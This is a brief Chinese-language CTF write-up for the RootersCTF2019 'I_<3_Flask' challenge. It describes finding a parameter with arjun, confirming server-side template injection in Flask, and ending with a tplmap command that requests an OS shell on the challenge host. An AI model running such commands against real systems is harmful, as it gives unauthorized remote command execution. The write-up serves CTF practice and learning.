Skip to content

Files

Latest commit

cd7fb57 · Mar 5, 2024

History

History
25 lines (14 loc) · 487 Bytes

[RootersCTF2019]I_3_Flask.md

File metadata and controls

25 lines (14 loc) · 487 Bytes

[RootersCTF2019]I_<3_Flask

知识点

SSTI

flask

解题

进入之后没有发现什么东西,使用arjun查一下注入参数

然后尝试SSTIpayload,发现有注入

半天500,直接使用tplmap注入

python .\tplmap.py -u "http://6230b100-f64f-4183-80f7-c8e6a83a1c40.node5.buuoj.cn:81/?name=1" --os-shell